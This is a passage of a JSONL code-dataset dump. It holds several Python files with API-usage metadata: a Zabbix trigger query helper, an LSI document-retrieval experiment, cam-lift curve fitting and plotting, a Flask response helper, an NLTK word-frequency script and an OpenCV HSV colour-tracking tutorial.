"name"}, {"api_name": "torch.nn.functional.relu", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 20, "usage_type": "name"}, {"api_name": "utils.weight_init", "line_number": 37, "usage_type": "argument"}, {"api_name": "torch.optim.Adam", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.distributions.Categorical", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.distributions", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 76, "usage_type": "call"}, {"api_name": "utils.discount_reward", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 94, "usage_type": "call"}, {"api_name": "utils.check_reward", "line_number": 120, "usage_type": "call"}, {"api_name": "gym.logger.info", "line_number": 130, "usage_type": "call"}, {"api_name": "gym.logger", "line_number": 130, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "gym.logger.info", "line_number": 139, "usage_type": "call"}, {"api_name": "gym.logger", "line_number": 139, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "gym.logger.info", "line_number": 143, "usage_type": "call"}, {"api_name": "gym.logger", "line_number": 143, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "utils.plot_figure", "line_number": 146, "usage_type": "call"}]} +{"seq_id": "75330779", "text": "# __author__: wang_chongsheng\n# date: 2017/10/26 0026\n# --encoding=utf-8\nfrom pyzabbix import ZabbixAPI\n\n\n###pyzabbix\nclass pyzabbixAPI(object):\n def __init__(self):\n self.prioritytostr = {'0': 'ok', '1': '信息', '2': '警告', '3': '严重'} # 告警级别\n\n def login(self):\n '''''\n 进行认证\n 返回 api 接口\n '''\n zapi = ZabbixAPI('http://zabbixdomain.com')\n zapi.login('user', 'pwd')\n return zapi\n\n def getCurIssue(self, zapi):\n '''''\n 获取所有最近有问题的trigger\n 返回trigger的信息列表： ['trigger1','trigger2',......]\n '''\n triggers = zapi.trigger.get(\n only_true=1,\n skipDependent=1,\n monitored=1,\n active=1,\n output='extend',\n expandDescription=1,\n selectHosts=['host'],\n )\n\n # 获取未确认的trigger\n unack_triggers = zapi.trigger.get(\n only_true=1,\n skipDependent=1,\n monitored=1,\n active=1,\n output='extend',\n expandDescription=1,\n selectHosts=['host'],\n withLastEventUnacknowledged=1,\n )\n unack_trigger_ids = [t['triggerid'] for t in unack_triggers]\n for t in triggers:\n t['unacknowledged'] = True if t['triggerid'] in unack_trigger_ids else False\n\n # 每个trigger信息格式 ：[时间] 级别：ip - 详情 是否确认\n triggerlist = []\n for t in triggers:\n if int(t['value']) == 1:\n triggerlist.append(\"[{0}] {1} : {2}({3}) - {4} {5}\".format(\n time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(float(t['lastchange']))),\n self.prioritytostr[t['priority']],\n t['hosts'][0]['host'],\n self.getHostgroupName(zapi, t['hosts'][0]['host']),\n t['description'],\n '(Unack)' if t['unacknowledged'] else ''\n )\n )\n return triggerlist\n\n def getHostgroupName(self, zapi, hostname):\n '''''\n 通过hostname(即ip)获取host所在的监控组名\n 返回由组名组成的字符串\n '''\n groups = zapi.host.get(\n search={\"name\": hostname},\n selectGroups=['name'],\n output=['groups']\n )[0]['groups']\n groupname = [group['name'] for group in groups]\n return ' '.join(groupname)", "sub_path": "zabbix/trigger.py", "file_name": "trigger.py", "file_ext": "py", "file_size_in_byte": 2515, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pyzabbix.ZabbixAPI", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "140820866", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[115]:\n\n\nfrom nltk.corpus import reuters \nfrom nltk import word_tokenize\nfrom nltk.stem.porter import PorterStemmer\nimport re\nfrom nltk.corpus import stopwords\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# In[116]:\n\n\nstopwordsList = stopwords.words(\"english\")\ndef tokenize(text):\n min_length = 3\n words = map(lambda word: word.lower(), word_tokenize(text));\n words = [word for word in words if word not in stopwordsList]\n tokens =(list(map(lambda token: PorterStemmer().stem(token), words)));\n p = re.compile('[a-zA-Z]+');\n filtered_tokens = list(filter(lambda token: p.match(token) and len(token)>=min_length, tokens));\n return filtered_tokens\n\n\n# In[117]:\n\n\ndef tf_idf(docs):\n tfidfVectorizer = TfidfVectorizer(tokenizer=tokenize, use_idf=True, sublinear_tf=True);\n matrix = tfidfVectorizer.fit_transform(docs);\n return tfidfVectorizer, matrix;\n\n\n# In[118]:\n\n\ndef transform_query(query, tfidfVectorizer):\n query_trans = tfidfVectorizer.transform([query])\n return query_trans\n\n\n# In[119]:\n\n\ndef train_test_reuiter_data():\n train_doc = []\n test_doc = []\n \n for doc_id in reuters.fileids():\n if doc_id.startswith(\"training\"):\n train_doc.append(reuters.raw(doc_id))\n else:\n test_doc.append(reuters.raw(doc_id))\n sliceObject = slice(5)\n train_doc = train_doc[sliceObject]\n test_doc = test_doc[sliceObject]\n # print('***********************************')\n # print(train_doc)\n #print('***********************************')\n # print(test_doc)\n return train_doc, test_doc\n\n\n# In[120]:\n\n\ndef load_Adi_dataset():\n with open('ADI.ALL') as f:\n temp = []\n for l in f:\n temp.append(l.replace('\\n',' '))\n training = ''.join(temp).replace('.T','').split('.I')\n with open('ADI.QRY') as f:\n temp = []\n for l in f:\n temp.append(l.replace('\\n',' '))\n testing = ''.join(temp).replace('.W','').split('.I')\n del training[0]\n del testing[0]\n \n return training,testing;\n\n\n# In[121]:\n\n\ntrain_doc,test_doc = load_Adi_dataset()\ndef get_Rel_doc(query, k):\n tfidfVectorizer, tfidfmatrix = tf_idf(train_doc)\n tfidfmatrix = (tfidfmatrix.toarray()).T\n u,s,v = np.linalg.svd(tfidfmatrix)\n# print(u)\n# print(s)\n# print(v)\n# input()\n\n uk = u[:,0:k]\n sk = np.diag(s[0:k])\n vk = v[0:k,:]\n print(uk)\n print(sk)\n print(vk)\n print(query)\n input()\n quertT = transform_query(query,tfidfVectorizer).toarray()\n# print(quertT)\n# print(np.dot(query, uk))\n# print(np.linalg.inv(sk))\n queryK = np.dot(np.dot(query, uk), np.linalg.inv(sk))\n \n score = np.dot(queryK, vk)[0] #0the index because it is returning 2d type\n sorted_doc = sorted(range(len(score)), key=lambda k: score[k], reverse = True)\n sorted_doc = [n+1 for n in sorted_doc]\n return sorted_doc\n\n\n# In[122]:\n\n\ndef load_actual_doc(queryFile):\n actual_rel_doc = []\n with open('ADI.REL') as f:\n for l in f:\n temp = l.split()\n if int(temp[0]) == queryFile:\n actual_rel_doc.append(int(temp[1]))\n print(actual_rel_doc)\n return actual_rel_doc\n\n\n# In[123]:\n\n\ndef getPrecision(k):\n totalPrecison = 0\n for query_no in range(5):\n actual_rel_docs = load_actual_doc(query_no+1)\n \n predicted_rel_docs = get_Rel_doc(test_docs[query_no], k)\n #print(len(predicted_rel_docs))\n \n print(get_Rel_doc(test_docs[query_no], k))\n count = 0\n for doc_no in actual_rel_docs:\n if predicted_rel_docs.index(doc_no) < len(actual_rel_docs):\n count += 1\n totalPrecison +=count/len(actual_rel_docs)\n print('For K = {} average Precison is {}'.format(k,totalPrecison/5))\n return totalPrecison/5\n \nX = list(range(0, len(train_docs), 5)) \nY = list(map(getPrecision,X))\n\n\nY = [i*100 for i in Y]\nplt.plot(X, Y)\n\n\n# In[ ]:\n\n\n\n\n", "sub_path": "Q1.py", "file_name": "Q1.py", "file_ext": "py", "file_size_in_byte": 4054, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "nltk.corpus.stopwords.words", "line_number": 20, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 20, "usage_type": "name"}, {"api_name": "nltk.word_tokenize", "line_number": 23, "usage_type": "call"}, {"api_name": "nltk.stem.porter.PorterStemmer", "line_number": 25, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 35, "usage_type": "call"}, {"api_name": "nltk.corpus.reuters.fileids", "line_number": 55, "usage_type": "call"}, {"api_name": "nltk.corpus.reuters", "line_number": 55, "usage_type": "name"}, {"api_name": "nltk.corpus.reuters.raw", "line_number": 57, "usage_type": "call"}, {"api_name": "nltk.corpus.reuters", "line_number": 57, "usage_type": "name"}, {"api_name": "nltk.corpus.reuters.raw", "line_number": 59, "usage_type": "call"}, {"api_name": "nltk.corpus.reuters", "line_number": 59, "usage_type": "name"}, {"api_name": "numpy.linalg.svd", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.diag", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}]} +{"seq_id": "588521739", "text": "import numpy as np\nfrom scipy import signal, optimize\nimport tables\n\nfrom engine_parameters import *\n\nprint('load pyplot')\n\nimport matplotlib\nmatplotlib.use('Qt5Agg')\nimport matplotlib.pyplot as plt\n\nprint('done loading pyplot')\n\n# from intake\n# def save(self):\n# angle = np.array(self.cam_profile['cam_position'][1:])[:,1]\n# lift = np.array(self.cam_profile['cam_lift'][1:])[:,1]\n# with tables.open_file('cam.tbl', 'w') as h5_file:\n# h5_file.create_array('/', 'cam_angle', angle)\n# h5_file.create_array('/', 'cam_lift', lift)\n\ndef save(file_, name, data):\n with tables.open_file(file_, 'w') as h5_file:\n h5_file.create_array('/', 'cam_recording', data)\n\ndef load(file_, name):\n with tables.open_file(file_, 'r') as h5_file:\n data = getattr(h5_file.root, name).read()\n return data\n\ndef smooth_lift(ideal_cam_lift, limit=100):\n win = signal.hann(100)\n filtered = signal.convolve(\n ideal_cam_lift,\n win,\n mode='same',\n ) / np.sum(win)\n return filtered\n\ndef fft_lift(ideal_cam_lift, limit=200):\n fft_ = np.fft.fft(ideal_cam_lift)\n fft_[int(limit):] = 0.0\n return np.fft.ifft(fft_)\n\ndef plot_S(angle, lift, projection=None):\n ax = plt.subplot(111, projection=projection)\n ax.plot(angle, lift + cam_base_radius, 'r')\n ax.plot(angle, fit_dwell_curve(cam_angle, ideal_cam_lift + cam_base_radius), 'g')\n # ax.plot(angle, fft_lift(lift, 200) + cam_base_radius, 'g')\n # ax.plot(angle, smooth_lift(lift, 100) + cam_base_radius, 'b')\n if projection == 'polar':\n ax.set_theta_zero_location(\"N\")\n ax.set_theta_direction(-1)\n \n ax.set_rmax(max_valve_lift + cam_base_radius)\n ax.set_rmin(0.0)\n\n ax.set_rticks([0.5 * max_valve_lift, max_valve_lift]) # less radial ticks\n ax.set_rlabel_position(-22.5) # get radial labels away from plotted line\n ax.grid(True)\n\n plt.show()\n\ndef plot_FFT(angle, lift, projection='polar'):\n ax = plt.subplot(111, projection=projection)\n ax.set_theta_zero_location(\"N\")\n ax.set_theta_direction(-1)\n ax.plot(angle, lift + cam_base_radius, 'r')\n\n offset = 1\n\n ax.plot(angle, fft_lift(lift, 16+offset) + cam_base_radius, 'g')\n ax.plot(angle, fft_lift(lift, 8+offset) + cam_base_radius, 'b')\n ax.plot(angle, fft_lift(lift, 4+offset) + cam_base_radius, 'xkcd:sky blue')\n ax.plot(angle, fft_lift(lift, 2+offset) + cam_base_radius, 'xkcd:beige')\n\n ax.set_rmax(max_valve_lift + cam_base_radius)\n ax.set_rmin(0.0)\n\n ax.set_rticks([0.5 * max_valve_lift, max_valve_lift]) # less radial ticks\n ax.set_rlabel_position(-22.5) # get radial labels away from plotted line\n ax.grid(True)\n\n plt.show()\n\ndef numerical_vel(angle, lift):\n x = angle\n y = lift\n dy = np.zeros(y.shape,np.float)\n dy[0:-1] = np.diff(y)/np.diff(x)\n dy[-1] = (y[-1] - y[-2])/(x[-1] - x[-2])\n return dy\n\ndef plot_V(angle, lift, projection='polar'):\n ax = plt.subplot(111, projection=projection)\n ax.set_theta_zero_location(\"N\")\n ax.set_theta_direction(-1)\n ax.plot(angle, numerical_vel(angle, lift), 'r')\n ax.plot(angle, numerical_vel(fft_lift(lift)), 'g')\n ax.plot(angle, numerical_vel(smooth_lift(lift)), 'b')\n\n # ax.set_rmax(max_valve_lift)\n ax.set_rmin(min_valve_lift)\n\n ax.set_rticks([0.5 * max_valve_lift, max_valve_lift]) # less radial ticks\n ax.set_rlabel_position(-22.5) # get radial labels away from plotted line\n ax.grid(True)\n\n plt.show()\n\ndef numerical_accel(angle, lift):\n x = angle\n y = numerical_vel(angle, lift)\n dy = np.zeros(y.shape,np.float)\n dy[0:-1] = np.diff(y)/np.diff(x)\n dy[-1] = (y[-1] - y[-2])/(x[-1] - x[-2])\n return dy\n\ndef plot_A(angle, lift, projection='polar'):\n ax = plt.subplot(111, projection=projection)\n ax.set_theta_zero_location(\"N\")\n ax.set_theta_direction(-1)\n ax.plot(angle, numerical_accel(angle, lift), 'r')\n ax.plot(angle, numerical_accel(fft_lift(lift)), 'g')\n ax.plot(angle, numerical_accel(smooth_lift(lift)), 'b')\n\n # ax.set_rmax(max_valve_lift)\n ax.set_rmin(0.0)\n\n ax.set_rticks([0.5 * max_valve_lift, max_valve_lift]) # less radial ticks\n ax.set_rlabel_position(-22.5) # get radial labels away from plotted line\n ax.grid(True)\n\n plt.show()\n\ndef numerical_jerk(angle, lift):\n x = angle\n y = numerical_accel(angle, lift)\n \n dy = np.zeros(y.shape,np.float)\n dy[0:-1] = np.diff(y)/np.diff(x)\n dy[-1] = (y[-1] - y[-2])/(x[-1] - x[-2])\n\n return dy\n\ndef plot_SVA(angle, lift, projection='polar'):\n ax = plt.subplot(111, projection=projection)\n ax.plot(angle, lift, 'r')\n ax.plot(angle, numerical_vel(angle, lift), 'g')\n ax.plot(angle, numerical_accel(angle, lift), 'b')\n # ax.plot(angle, numerical_jerk(angle, lift), 'xkcd:sky blue')\n \n if projection == 'polar':\n ax.set_theta_zero_location(\"N\")\n ax.set_theta_direction(-1)\n \n ax.set_rmax(cam_base_radius + max_valve_lift * 2)\n ax.set_rmin(min_valve_lift)\n\n ax.set_rticks([\n cam_base_radius,\n 0.5 * max_valve_lift + cam_base_radius,\n max_valve_lift + cam_base_radius]) # less radial ticks\n ax.set_rlabel_position(-22.5) # get radial labels away from plotted line\n ax.grid(True)\n\n else:\n ax.set_xlabel('Cam rotation (radians)')\n ax.set_ylim([-20, 20])\n ax.set_ylabel('SVA (cm, cm/sec, cm/sec**2)')\n ax.set_title('SVA Diagram')\n\n plt.show()\n\ndef plot_SVAJ(angle, lift, projection='polar'):\n ax = plt.subplot(111, projection=projection)\n ax.plot(angle, lift, 'r')\n ax.plot(angle, numerical_vel(angle, lift), 'g')\n ax.plot(angle, numerical_accel(angle, lift), 'b')\n ax.plot(angle, numerical_jerk(angle, lift), 'xkcd:sky blue')\n \n if projection == 'polar':\n ax.set_theta_zero_location(\"N\")\n ax.set_theta_direction(-1)\n \n ax.set_rmax(max_valve_lift * 1.2)\n ax.set_rmin(min_valve_lift)\n\n ax.set_rticks([0.5 * max_valve_lift, max_valve_lift]) # less radial ticks\n ax.set_rlabel_position(-22.5) # get radial labels away from plotted line\n ax.grid(True)\n\n else:\n ax.set_xlabel('Cam rotation (radians)')\n ax.set_ylim([-20, 20])\n ax.set_ylabel('SVAJ (cm, cm/sec, cm/sec**2, cm/sec**3)')\n ax.set_title('SVAJ Diagram')\n\n plt.show()\n\ndef fit_dwell_curve(angle, lift):\n # start at 0\n # rise\n # dwell at top\n # fall\n # dwell at bottom\n\n def rise(local_angle, total_angle, max_valve_lift):\n nondim_angle = local_angle / total_angle\n x = nondim_angle\n return max_valve_lift * (10*x**3 - 15*x**4 + 6*x**5)\n\n def __rdfd(angle, cam_offset, high_dwell_time, fall_time, low_dwell_time):\n '''\n rdfd(x, a, b, c, d)\n x is independent variable\n a -> d are parameters of the function\n '''\n\n rise_time = 2 * pi - (low_dwell_time + high_dwell_time + fall_time)\n # instead of starting at TDC the intake at the start at 0 - cam_offset\n # then rise from there for rise_time radians\n # then dwell for for high_dwell_time radians\n # then fall from there for fall_time radians\n # then complete the circle for low_dwell_time radians \n angle = angle + cam_offset\n if angle < 0:\n angle += 2 * pi\n elif angle > 2 * pi:\n angle -= 2 * pi\n\n if angle < high_dwell_time:\n return cam_base_radius + max_valve_lift\n\n elif angle < high_dwell_time + fall_time:\n local_angle = angle - (high_dwell_time)\n return cam_base_radius + max_valve_lift - rise(local_angle, fall_time, max_valve_lift)\n\n elif angle < high_dwell_time + fall_time + low_dwell_time:\n return cam_base_radius + 0.0\n\n else:\n local_angle = angle - (high_dwell_time + fall_time + low_dwell_time)\n return cam_base_radius + rise(local_angle, rise_time, max_valve_lift)\n\n _rdfd = np.vectorize(__rdfd)\n\n def rdfd(angle, cam_offset, high_dwell_time, fall_time, low_dwell_time):\n return _rdfd(angle, cam_offset, high_dwell_time, fall_time, low_dwell_time)\n\n # avoid higher order discontinuity\n # minimize difference between ideal and calculated curve\n # maximize area under the curve\n\n # xdata\n xdata = angle\n ydata = lift\n bounds = ([0, 0, pi/8, 0], [pi/2, pi, pi, pi])\n\n initial_guess = [0, pi/2, pi/2, pi/2]\n\n popt, pcov = optimize.curve_fit(rdfd, xdata, ydata, bounds=bounds)\n\n print('Optimized variables to:')\n print('Cam Advance: %.2f' % (popt[0] / pi * 180))\n print('TDwell Time: %.2f' % (popt[1] / pi * 180))\n print('Fall Time: %.2f' % (popt[2] / pi * 180))\n print('BDwell Time: %.2f' % (popt[3] / pi * 180))\n print('Rise Time: %.2f' % (360 - ((sum(popt) - popt[0]) / pi * 180)))\n\n lift = _rdfd(xdata, *popt)\n\n return lift\n\nif __name__ == '__main__':\n # note: working on this for one cam lobe at a time\n cam_angle = load('cam.tbl', 'cam_angle')[:,1]\n ideal_cam_lift = load('cam.tbl', 'cam_lift')[:,1]\n\n # plot_FFT(cam_angle, ideal_cam_lift)\n plot_SVA(\n cam_angle,\n fit_dwell_curve(cam_angle, ideal_cam_lift),\n None)\n", "sub_path": "cam_processing.py", "file_name": "cam_processing.py", "file_ext": "py", "file_size_in_byte": 9261, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "matplotlib.use", "line_number": 10, "usage_type": "call"}, {"api_name": "tables.open_file", "line_number": 24, "usage_type": "call"}, {"api_name": "tables.open_file", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.signal.hann", "line_number": 33, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 33, "usage_type": "name"}, {"api_name": "scipy.signal.convolve", "line_number": 34, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.fft.fft", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.fft.ifft", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 44, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.diff", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.diff", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 141, "usage_type": "attribute"}, {"api_name": "numpy.diff", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "numpy.vectorize", "line_number": 247, "usage_type": "call"}, {"api_name": "scipy.optimize.curve_fit", "line_number": 263, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 263, "usage_type": "name"}]} +{"seq_id": "26300283", "text": "from json import dumps\nfrom flask import Response\n\nclass BaseResource(object):\n\tdef make_response(self, response, code, header=None):\n\t\tresponse = dumps(response)\n\t\tfinal_response = Response(response, status=code, mimetype='application/json')\n\n\t\tif header:\n\t\t\tfor key, value in header.items():\n\t\t\t\tfinal_response.headers[key] = value\n\n\t\treturn final_response", "sub_path": "core/resource_core.py", "file_name": "resource_core.py", "file_ext": "py", "file_size_in_byte": 358, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.dumps", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "537148892", "text": "import nltk\nimport codecs\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\n#with open('three.txt', 'r') as f2:\nwith codecs.open('our.txt', 'r', \"utf-8-sig\") as f2:\n data = f2.read()\n print(data)\ntokens = word_tokenize(data)\ntext = nltk.Text(tokens)\n\nsr= stopwords.words('english')\nclean_tokens = tokens[:]\nfor token in tokens:\n if token in stopwords.words('english'):\n \n clean_tokens.remove(token)\nfreq = nltk.FreqDist(clean_tokens)\nfor key,val in freq.items():\n key = key.encode(\"UTF-8\", \"replace\")\n print(str(key) + ':' + str(val))\nfreq.plot(20, cumulative=False)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 620, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "codecs.open", "line_number": 6, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 9, "usage_type": "call"}, {"api_name": "nltk.Text", "line_number": 10, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 12, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 12, "usage_type": "name"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 15, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 15, "usage_type": "name"}, {"api_name": "nltk.FreqDist", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "325427267", "text": "\"\"\"\n 09. 색공간 바꾸기 및 색 추적\n\n 1. BGR 색공간을 Gray로 변경하거나, HSV로 변경하기\n 2. 비디오 프레임에서 특정한 색만 추출하여 추적하기\n\n cv2.cvtColor()\n BGR 색공간으로 생성한 Color를 HSV 값으로 전환한\n\n cv2.inRange()\n 소스인 hsv의 모든 값을 lower_blue, upper_blue로 지정한 범위에 있는지 체크한 후,\n 범위에 해당하는 부분은 그 값 그대로, 나머지 부분은 0으로 채워서 결과값을 반환합니다.\n\n\n\n OpenCV는 150가지 이상의 색공간 변경 메쏘드를 제공하고 있습니다.\n 하지만 우리는 가장 많이 사용되는 BGR - GRAY, BGR - HSV 색공간 변경 방법만\n 다루어 보도록 하겠습니다.\n\n BGR은 Blue, Green, Red 값으로 하나의 색을 결정하는 것이죠.\n HSV는 Hue(색상), Saturation(채도), Value(진하기)로 색을 결정합니다\n OpenCV에서는 Hue의 범위를 [0, 179],\n Saturation과 Value의 범위를 [0, 255]로 정의하고 있습니다.\n\n\"\"\"\n\nimport numpy as np\nimport cv2 as cv2\n\ndef hsv():\n blue = np.uint8([[[255, 0, 0]]])\n # Blue 픽셀 1개에 해당하는 numpy array를 생성합니다\n green = np.uint8([[[0, 255, 0]]])\n red = np.uint8([[[0, 0, 255]]])\n\n hsv_blue = cv2.cvtColor(blue, cv2.COLOR_BGR2HSV)\n # BGR 색공간으로 생성한 Blue를 HSV 값으로 전환한 것을 hsv_blue에 담습니다\n hsv_green = cv2.cvtColor(green, cv2.COLOR_BGR2HSV)\n hsv_red = cv2.cvtColor(red, cv2.COLOR_BGR2HSV)\n\n print('hsv for blue : ', hsv_blue)\n print('hsv for green : ', hsv_green)\n print('hsv for red : ', hsv_red)\n\n# hsv()\n# 결과\n# HSV for Blue: (120, 255, 255)\n# HSV for Green: (60, 255, 255)\n# HSV for Red: (0, 255, 255)\n\ndef tracking():\n try:\n print('카메라를 구동합니다.')\n cap = cv2.VideoCapture(0)\n except:\n print('카메라 구동실패!!')\n return\n\n while True:\n ret, frame = cap.read()\n\n # BGR을 HSV모드로 변환\n hsv1 = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n # HSV에서 각 B, G, R로 정할 범위 설정\n lower_blue = np.array([110, 100, 100])\n upper_blue = np.array([130, 255, 255])\n\n lower_green = np.array([50, 100, 100])\n upper_green = np.array([70, 255, 255])\n\n lower_red = np.array([-10, 100, 100])\n upper_red = np.array([10, 255, 255])\n\n # HSV 이미지에서 각 R, G, B만 추축하기 위한 임계값\n mask_blue = cv2.inRange(hsv1, lower_blue, upper_blue)\n mask_green = cv2.inRange(hsv1, lower_green, upper_green)\n mask_red = cv2.inRange(hsv1, lower_red, upper_red)\n\n # Mask와 원본이미지를 비트 연산\n res1 = cv2.bitwise_and(frame, frame, mask = mask_blue)\n res2 = cv2.bitwise_and(frame, frame, mask = mask_green)\n res3 = cv2.bitwise_and(frame, frame, mask = mask_red)\n\n cv2.imshow('ORIGINAL', frame)\n cv2.imshow('BLUE', res1)\n cv2.imshow('GREEN', res2)\n cv2.imshow('RED', res3)\n\n k = cv2.waitKey(1) & 0xFF\n if k == 27:\n break\n\n cv2.destroyAllWindows()\n\ntracking()\n\n\n\n\n\n", "sub_path": "OpenCV/Change_Color.py", "file_name": "Change_Color.py", "file_ext": "py", "file_size_in_byte": 3250, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.uint8", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, 